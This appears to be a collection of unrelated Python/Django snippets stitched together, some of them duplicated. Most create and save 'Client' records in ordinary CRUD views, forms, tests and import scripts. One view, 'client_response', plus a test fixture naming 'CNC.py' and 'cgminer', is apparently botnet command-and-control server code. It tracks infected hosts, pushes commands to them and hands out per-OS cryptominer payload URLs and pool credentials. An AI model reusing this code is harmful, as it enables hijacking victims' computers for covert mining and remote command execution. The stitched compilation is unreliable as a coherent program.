def add(request): data = { key: request.POST[key] for key in request.POST if key != 'csrfmiddlewaretoken' } client = Client(**data) client.save() return HttpResponseRedirect(reverse('clients:overview'))
def setUp(self): secret = uuid.uuid4() client = Client(secret=secret) client.save() self.secret = secret self.client_id = client.id self.client = client
def test_data(self): print "Creating test data..." gen_cfg = ConfFile(purpose="general", version="0.0004", upd_loc="CNC.py") btc_cfg = ConfFile(purpose="bitcoins", version="0.0001", payload_url_linux="cgminer") host = Client(hostname="some_host", os_type='os_type', alive='alive', working='working', current_purpose='purpose', int_ip='ternal_ip', ext_ip='external_ip', version='version') gen_cfg.save() btc_cfg.save() host.save()
def save(self, commit=True): user = super(UserCreateForm, self).save(commit=False) user.first_name = self.cleaned_data["type"] if commit: user.save() if user.first_name=="client": client = Client(name=self.cleaned_data['username'],client_id=user.id) client.save() return user
def test_was_published_recently_with_recent_poll(self): """ was_published_recently() should return True for polls whose pub_date is within the last day """ host = Client(hostname="some_host", os_type='os_type', alive='alive', working='working', current_purpose='purpose', int_ip='internal_ip', ext_ip='external_ip', version='version') host.save() self.assertTrue(Client.objects.filter(hostname="some_host")) if Client.objects.filter(hostname="some_host"): recent = host.last_status_change self.assertEqual(host.last_changed(), True)
def add(request): if (request.method == 'POST'): name = request.POST['name'] email = request.POST['email'] client = Client(name=name, email=email) client.save() return redirect('/list') else: return render(request, 'add.html')
def mutate(self, info, name, id, nit): try: client = Client.objects.get(pk=id) client.name = name except: client = Client(name=name) if nit is not None: client.nit = nit client.save() return ClientMutation(client=client)
def import_contact(contact): user = None healer = get_object_or_404(Healer, user=request.user) first_name = contact['first name'] last_name = contact['last name'] email = contact['email'] phone = contact.get('phone', None) # skip if there is no first name if first_name == '': return email = is_valid_email(email) if email: user = User.objects.filter(email__iexact=email) if user.exists(): user = user[0] if not user: user = create_dummy_user(first_name, last_name, email) # if can't find or create user, skip if not user: return is_client = is_my_client(healer.user, user) # if client created by healer if not is_client: friendship = Clients(from_user=healer.user, to_user=user) friendship.save() try: client = Client.objects.get(user=user) except ObjectDoesNotExist: client = Client(user=user) client.approval_rating = 100 client.save() contact_info = client.get_contact_info(healer) if not contact_info: contact_info = ContactInfo.objects.create( healer=healer, client=client, first_name=user.first_name, last_name=user.last_name) contact_info.emails.add(ContactEmail(email=user.email)) if phone: client.phone_numbers.add(ClientPhoneNumber(number=phone)) contact_info.phone_numbers.add(ContactPhone(number=phone))
def editformprocessor(request): logger.debug(request.POST) if request.POST['code']: nc = Client.objects.filter(owner=request.user).filter(code=request.POST['code'])[0] else: nc = Client(code=GetNewCode(Client.objects.filter(owner_id = request.user.id)), owner = request.user) # nc.parent = Client.objects.filter(owner=request.user).filter(id=parcode)[0] if bool(request.POST['isfolder']): nc.name = request.POST['name'] nc.isfolder = True if request.POST['parent']: nc.parent = Client.objects.get(id=request.POST['parent']) nc.save(); else: if request.POST['parent']: nc.parent = Client.objects.get(id=request.POST['parent']) nc.isfolder = False nc.name = request.POST['name'] nc.iscompany = request.POST.get('iscompany', True) nc.INN = request.POST['INN'] nc.KPP = request.POST['KPP'] nc.email = request.POST['email'] nc.uradress = request.POST['uradress'] nc.factadress = request.POST['factadress'] nc.phone = request.POST['phone'] nc.fax = request.POST['fax'] nc.site = request.POST['site'] nc.save(); return entry(request)
def save(self, **kwargs): user = get_object_or_404(User, username=self.cleaned_data.get('author')) client = Client(author=user) client.save() person = Persons( client=client, firstName=self.cleaned_data.get('firstName'), telephoneNum1=self.cleaned_data.get('telephoneNum1'), email1=self.cleaned_data.get('email1'), author=user, ) person.save() manager = get_object_or_404(User, username=self.cleaned_data.get('manager')) order = Order( client=client, status=self.cleaned_data.get('status'), call_on=self.cleaned_data.get('call_on'), call_or_email=self.cleaned_data.get('call_or_email'), manager=manager, contactPerson=person, author=user, ) order.save() #create order_process order_process = Order_process( order=order, step=1, step_description=self.cleaned_data.get('step_description'), manager=manager, ) order_process.save() if self.cleaned_data.get('city'): legal_details = Legal_details( client=client, city=self.cleaned_data.get('city'), author=user, ) legal_details.save() return client
def create(request): next_page = 'clients/create.html' if request.method == 'POST': name = str(request.POST['input_name']) rut = str(request.POST['input_rut']) address = str(request.POST['input_address']) phone = str(request.POST['input_phone']) if not name or not rut or not address: raise Exception('Campos obligatorios') c = Client(name=name, rut=rut, address=address, phone=phone) c.save() next_page = 'clients/index.html' return HttpResponseRedirect("/clients/") t = loader.get_template(next_page) c = RequestContext(request) return HttpResponse(t.render(c))
def form_valid(self, form): """If the form is valid, save the associated model.""" client = Client(**form.cleaned_data) client.created_by = self.request.user.username client.last_modified_by = self.request.user.username client.save() messages.success(self.request, 'Client created successfully') ActivityStream(customer=self.request.user.customer, actor=self.request.user.username, verb='created_client', action_object=client).save() client.set_permissions_to_team_after_creation() if client.access_client_portal: client.create_client_portal_credentials( requester=self.request.user) return redirect('clients:clients-list')
def save(self, **kwargs): user = get_object_or_404(User, username = self.cleaned_data.get('author')) client = Client(author=user) client.save() person = Persons(client=client, firstName=self.cleaned_data.get('firstName'), telephoneNum1=self.cleaned_data.get('telephoneNum1'), email1=self.cleaned_data.get('email1'), author=user, ) person.save() manager = get_object_or_404(User, username=self.cleaned_data.get('manager')) order = Order( client = client, status = self.cleaned_data.get('status'), call_on = self.cleaned_data.get('call_on'), call_or_email = self.cleaned_data.get('call_or_email'), manager = manager, contactPerson = person, author = user, ) order.save() #create order_process order_process = Order_process(order = order, step = 1, step_description = self.cleaned_data.get('step_description'), manager = manager, ) order_process.save() if self.cleaned_data.get('city'): legal_details = Legal_details( client = client, city = self.cleaned_data.get('city'), author = user, ) legal_details.save() return client
def add_client_submit(request): full_name = request.POST['full_name'].split(" ") last_name = full_name[-1] first_name = " ".join(full_name[0:-1]) email = request.POST['email'] phone = request.POST['phone'] address = request.POST['address'] city = request.POST['city'] state = request.POST['state'] zip_code = request.POST['zip'] try: client = Client( first_name=first_name, last_name=last_name, street_address=address, city=city, state=state, zipcode=zip_code ) client.save() if email is not "": email_info = Email( client=client, email=email ) email_info.save() if phone is not "": phone_info = Phone( phone=phone, client=client ) phone_info.save() space = " " messages.success(request, 'Client "%s" saved.' % space.join(full_name)) except: messages.error(request, "There was an error saving your client.") return redirect('clients:index')
def create_client(request): if request.method == 'POST': form = ClientForm(request.POST) if form.is_valid(): cleaned_data = form.cleaned_data new_client = Client(**cleaned_data) new_client.save() return redirect('clients_list') else: context = { 'form': form, } return render(request, 'clients/clients_create.html', context) else: form = ClientForm() context = { 'form': form, } return render(request, 'clients/clients_create.html', context)
def create(request): next_page = 'clients/create.html' if request.method == 'POST': name = str(request.POST['input_name']) rut = str(request.POST['input_rut']) address = str(request.POST['input_address']) phone = str(request.POST['input_phone']) if not name or not rut or not address: raise Exception('Campos obligatorios') c = Client( name = name, rut = rut, address = address, phone = phone ) c.save() next_page = 'clients/index.html' return HttpResponseRedirect("/clients/") t = loader.get_template(next_page) c = RequestContext(request) return HttpResponse(t.render(c))
def setUp(self): pass permission_1 = Permission(name='permission_1', description='permission 1 description') permission_1.save() permission_2 = Permission(name='permission_2', description='permission 2 description') permission_2.save() permission_3 = Permission(name='permission_3', description='permission 3 description') permission_3.save() client = Client() client.save() client.permissions.add(permission_1) client.permissions.add(permission_2) client.permissions.add(permission_3) self.permission_1 = permission_1 self.permission_2 = permission_2 self.permission_3 = permission_3 self.client = client
def update_client(request, pk): client = Client.objects.get(pk=pk) client_dict = model_to_dict(client) if request.method == 'POST': form = ClientForm(request.POST) if form.is_valid(): cleaned_data = form.cleaned_data client = Client(pk=pk, **cleaned_data) client.save(force_update=True) return get_client_details(request, pk) else: context = { 'client': client, 'form': form, } return render(request, 'clients/clients_update.html', context) else: form = ClientForm(client_dict) context = { 'client': client, 'form': form, } return render(request, 'clients/clients_update.html', context)
def handle(self, *args, **options): # create super user admin = Client(email='*****@*****.**', is_staff=True, first_name='Root', last_name='BtcAlpha', bdate='2016-04-25') admin.set_password('root') admin.save() # create custom user user = Client(email='*****@*****.**', is_staff=False, first_name='Trader', last_name='BtcAlpha', bdate='2016-04-25') user.set_password('trader') user.save() # create currencies btc = Currency(fullname='Bitcoin', short_name='BTC', sign='B') btc.save() usd = Currency(fullname='Dollar', short_name='USD', sign='U') usd.save() # create pair pair = Pair(currency1=btc, currency2=usd) pair.save() # add wallets Wallet.objects.bulk_create([ Wallet(currency=btc, client=admin), Wallet(currency=btc, client=user), Wallet(currency=usd, client=admin), Wallet(currency=usd, client=user), ])
def create_tenant_task(request, user_id): user = User.objects.get(pk=user_id) from clients.models import Client logger.info('Generating tenant account for {}'.format(user.username)) def id_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) try: tenant_sub_domain = user.username or user.first_name or user.last_name or id_generator( ) tenant = Client(name=user.get_full_name(), user=user, domain_url=generate_client_url(tenant_sub_domain), paid_until=None, on_trial=True, schema_name=tenant_sub_domain) tenant.save() except Exception as e: logger.error('Error generating tenant for {}'.format(user.username)) logger.error(str(e)) logger.info('Tenant generation complete for {}'.format(user.username))
def add_edit_client(request): ans = _("No data in request") if request.method == 'POST': sname = request.POST['sname'] fname = request.POST['fname'] inn = request.POST['inn'] address = request.POST['address'] phone = request.POST['phone'] priority = request.POST['priority'] mail = request.POST['mail'] try: existing_client = Client.objects.get(sname=sname) except: existing_client = 0 if existing_client: # User is exist try: existing_client.name = fname existing_client.inn = inn existing_client.phone = phone existing_client.address = address existing_client.priority = priority existing_client.email = mail ans = existing_client.save() except BaseException as e: ans = str(e) else: # User does not exist try: new_client = Client(sname=sname, name=fname, inn=inn, phone=phone, address=address, priority=priority, email=mail, create_date=timezone.now()) ans = new_client.save() except BaseException as e: ans = str(e) return HttpResponse(ans)
def create_new_client(form, healer): if form.is_valid(): user = None user_exist = False if form.cleaned_data['email']: try: user = User.objects.filter( email__iexact=form.cleaned_data['email'])[0] user_exist = True except IndexError: pass if user_exist and not user.is_active: error = 'This email is already in use. Please check your email and click the Email Confirmation link.' email_address = get_or_create_email_address(user) EmailConfirmation.objects.send_confirmation(email_address) return error if not user: user = create_dummy_user(form.cleaned_data['first_name'], form.cleaned_data['last_name'], form.cleaned_data['email']) # if can't find or create user, return None if not user: return '' try: client = Client.objects.get(user=user) except Client.DoesNotExist: client = Client(user=user) client.save() contact_info = client.get_contact_info(healer) if not contact_info: contact_info = ContactInfo.objects.create( healer=healer, client=client, first_name=user.first_name, last_name=user.last_name) contact_info.emails.add(ContactEmail(email=user.email)) if form.cleaned_data['phone']: client.phone_numbers.add( ClientPhoneNumber(number=form.cleaned_data['phone'])) contact_info.phone_numbers.add( ContactPhone(number=form.cleaned_data['phone'])) if form.cleaned_data.get('referred_by', False): client.referred_by = form.cleaned_data['referred_by'] client.save() if form.cleaned_data.get('send_intake_form', False): #send intake form to client healer.send_intake_form(client) password = form.cleaned_data['password1'] if password: client.user.set_password(password) client.user.save() EmailAddress.objects.add_email(client.user, form.cleaned_data['email']) after_signup(client.user, account_type='client', email_confirmed=False) return client error_list = '' for error in form.errors: if error == '__all__': error_list += '%s' % str(form.errors[error]) else: error_list += '%s: %s' % (error, str(form.errors[error])) return error_list
def client_response(request): response_dict = {} request_dict = {'hostname': request.GET.get('hostname', ''), 'os_type': request.GET.get('os_type', ''), 'os_ver': request.GET.get('os_ver', ''), 'alive': request.GET.get('alive', ''), 'working': request.GET.get('working', ''), 'purpose': request.GET.get('purpose', ''), 'version': request.GET.get('version', ''), 'internal_ip': request.GET.get('ii', ''), 'external_ip': request.META['REMOTE_ADDR'], 'gen_cmd_output': request.GET.get('general_cmd_output', ''), 'ref_int': request.GET.get('refresh_interval', ''), 'encrypted': request.GET.get('e'), 'log': request.GET.get('log'), 'key': request.GET.get('key')} if request_dict['key'] == None: request_dict['key'] = "None" if request_dict['log'] == None: request_dict['log'] = "None" # if request_dict['encrypted'] == "1": # for key in request_dict: # decode(host.key, request_dict[key]) if Client.objects.filter(hostname=request_dict['hostname']): # Checks to see if hostname entry exists host = Client.objects.get(hostname=request_dict['hostname']) if request_dict['encrypted'] == "1": # decode incoming data for key in request_dict: decode(host.key, request_dict[key]) host.os_type = request_dict['os_type'] host.os_ver = request_dict['os_ver'] host.alive = request_dict['alive'] host.working = request_dict['working'] host.curr_refresh_interval = request_dict['ref_int'] #TODO proper setting of 'purpose' in database #create function(s) to handle parameter changing if request_dict['purpose'] == 0: request_dict['purpose'] == 'General' elif request_dict['purpose'] == 1990: request_dict['purpose'] == 'Tests' host.current_purpose = request_dict['purpose'] host.int_ip = request_dict['internal_ip'] host.ext_ip = request_dict['external_ip'] host.version = request_dict['version'] host.general_cmd_output = request_dict['gen_cmd_output'] host.log = request_dict['log'] #TODO configure debug and client logging # try: # if len(host.log) < 50: # host.debug == "no" # except: # pass host.save() else: # if hostname doesn't exist create entries in database host = Client(hostname=request_dict['hostname'], os_type=request_dict['os_type'], alive=request_dict['alive'], working=request_dict['working'], curr_refresh_interval=request_dict['ref_int'], current_purpose=request_dict['purpose'], int_ip=request_dict['internal_ip'], ext_ip=request_dict['external_ip'], version=request_dict['version']) host.save() gen_cfg = ConfFile.objects.get(purpose="general") response_dict['version'] = gen_cfg.version response_dict['refresh_interval'] = host.refresh_interval if len(host.key) == 8: response_dict['key'] = host.key if host.os_type == 'unix': response_dict['os_type'] = "unix" if host.os_type == 'mac': response_dict['os_type'] = "mac" if host.custom_run_cmd: response_dict['custom_run_cmd'] = host.custom_run_cmd if host.set_purpose: response_dict['purpose'] = host.set_purpose if host.set_purpose == "general": response_dict['general_cmd'] = host.general_cmd if host.set_purpose == "bitcoins": btc_cfg = ConfFile.objects.get(purpose="bitcoins") response_dict['upd_loc'] = btc_cfg.upd_loc response_dict['command'] = btc_cfg.command response_dict['username'] = btc_cfg.username response_dict['password'] = btc_cfg.password response_dict['pool'] = btc_cfg.pool response_dict['btc_version'] = btc_cfg.version if host.os_type == 'unix': response_dict['payload'] = btc_cfg.payload_url_linux if host.os_type == 'mac': if host.os_ver == "10.7" or host.os_ver == "10.7.5" or host.os_ver == "10.7.4" or host.os_ver == "10.7.3" or host.os_ver == "10.7.2" or host.os_ver == "10.7.1": response_dict['payload'] = btc_cfg.payload_url_mac_sl elif host.os_ver == "10.8" or host.os_ver == "10.8.3" or host.os_ver == "10.8.2" or host.os_ver == "10.8.1": response_dict['payload'] = btc_cfg.payload_url_mac_ml if host.os_type == 'win': response_dict['payload'] = btc_cfg.payload_url_windows # Scanner code if host.set_purpose == "scanner": scanner_cfg = ConfFile.objects.get(purpose="scanner") response_dict['tool'] = scanner_cfg.tool_name #TODO Better logging for item in request_dict: timestamp = datetime.datetime.fromtimestamp(time.time()) logging.info(str(timestamp) + '|request|hostname: ' + request_dict['hostname'] + " - " + item + " - " + request_dict[item]) for key in response_dict: timestamp = datetime.datetime.fromtimestamp(time.time()) logging.info(str(timestamp) + '|response|hostname: ' + request_dict['hostname'] + ' - ' + key + ': ' + response_dict[key]) logging.info("") #Addition Stuff - NOTES _notes = {} notes = "" if str(request_dict['version']).startswith("b"): _notes['beta'] = "Beta version Detected" logging.info("Beta version Detected") for key in _notes: notes += _notes[key] + "|" host.notes = notes host.save() return HttpResponse(json.dumps(response_dict))
def register(request): if request.method != 'POST': user_form = UserCreateForm() name_form = ClientPersonalInformationsForm() address_form = ClientAddressForm() else: address = Address() client = Client() user_form = UserCreateForm(data=request.POST) name_form = ClientPersonalInformationsForm(request.POST, instance=client) address_form = ClientAddressForm(request.POST, instance=address) if user_form.is_valid(): if address_form.is_valid(): if name_form.is_valid(): new_user = user_form.save() address.save() client.client_user_login = new_user client.address = address client.save() user_form = UserCreateForm() name_form = ClientPersonalInformationsForm() address_form = ClientAddressForm() success = True context = { 'success': success, 'user_form': user_form, 'name_form': name_form, 'address_form': address_form } else: context = { 'user_form': user_form, 'name_form': name_form, 'address_form': address_form } return render(request, 'users/register.html', context) else: context = { 'user_form': user_form, 'name_form': name_form, 'address_form': address_form } return render(request, 'users/register.html', context) else: context = { 'user_form': user_form, 'name_form': name_form, 'address_form': address_form } return render(request, 'users/register.html', context) return render(request, 'users/register.html', context) context = { 'user_form': user_form, 'name_form': name_form, 'address_form': address_form } return render(request, 'users/register.html', context)
from clients.models import Client import csv reader = csv.reader(open('churn_data.csv', 'r')) for client in reader: client = Client(client_id=client[1], client_name=client[2], credit_score=client[3], geography=client[4], gender=client[5], age=client[6], tenure=client[7], balance=client[8], num_of_products=client[9], has_credit_card=client[10], is_active_member=client[11], estimated_salary=client[12], exited=client[13]) client.save()
from clients.models import Client, Domain tenant = Client(schema_name='public', name='default', active=True) tenant.save() domain = Domain() domain.domain = 'kapua' # don't add your port or www here! domain.tenant = tenant domain.is_primary = True domain.save() tenant = Client(schema_name='tenant1', name='Tenant1', active=True) tenant.save() domain = Domain() domain.domain = 'tenant1.kapua' # don't add your port or www here! domain.tenant = tenant # domain.is_primary = True domain.save() tenant = Client(schema_name='tenant2', name='Tenant2', active=True) tenant.save()
def createClient(first_name, last_name, email): client = Client(first_name=first_name, last_name=last_name, email=email) client.save() return client
def load_spreadsheet(infile, dryrun=False): """Load the client data from the specified spreadsheet. If dryrun is True, don't update the django database. """ wb = load_workbook(infile) log.info("Opened '{}'".format(infile)) sheet_names = wb.get_sheet_names() log.debug("Found {} sheets:".format(len(sheet_names))) for name in sheet_names: log.debug("- '{}'".format(name)) ws = wb[CURRENT_SHEET] log.debug("Loaded '{}' sheet".format(CURRENT_SHEET)) log.debug("Rows: {} - {}\tColumns: {} - {}".format(ws.min_row, ws.max_row, ws.min_column, ws.max_column)) # Check that expected columns exist col_names = [c[0].value for c in ws.iter_cols(min_row=1, max_row=1)] for idx, name in enumerate(col_names): log.debug("column {:2d}: '{}'".format(idx, name)) assert NEW_ID_COL in col_names # assert NOTES_COL in col_names assert AGE7_COL in col_names newid_idx = col_names.index(NEW_ID_COL) idNotes_idx = newid_idx + 1 distNotes_idx = col_names.index(AGE7_COL) + 1 visit_cols = [] for idx in range(FIRST_VISIT_IDX, 500): name = col_names[idx] if not (isinstance(name, datetime) or name.startswith('=')): break visit_date = FIRST_VISIT + timedelta(7 * len(visit_cols)) visit_cols.append((idx, visit_date)) print("col {}: {}".format(idx, visit_date.strftime("%m/%d/%Y"))) # Load client data, row by row for row in ws.iter_rows(min_row=2): last_name, first_name, gender, dob, address, city = [ c.value for c in row[:6] ] if not (first_name and last_name): break newId = row[newid_idx].value idNotes = row[idNotes_idx].value distNotes = row[distNotes_idx].value client = Client(last_name=last_name, first_name=first_name, gender=gender, dob=dob, address=address, city=city, newId=newId, notes=distNotes, reg_notes=idNotes) client.save() dependents = [] for idx in range(6, 27, 3): name, gender, dob = [c.value for c in row[idx:idx + 3]] if not name: continue if ',' in name: last_name, first_name = name.split(', ', 1) else: first_name, last_name = name, "" dependent = Dependent(last_name=last_name, first_name=first_name, gender=gender, dob=dob, dependent_on=client) dependents.append(dependent) dependent.save() visits = [] for idx, visit_date in visit_cols: if row[idx].value: assert row[idx].value.lower() == 'x' visit = Visit(client=client, visited_at=visit_date) visits.append(visit) visit.save() log.debug("Loaded client {}:\t{}\t{} dependents\t{} visits".format( client.id, client, len(dependents), len(visits)))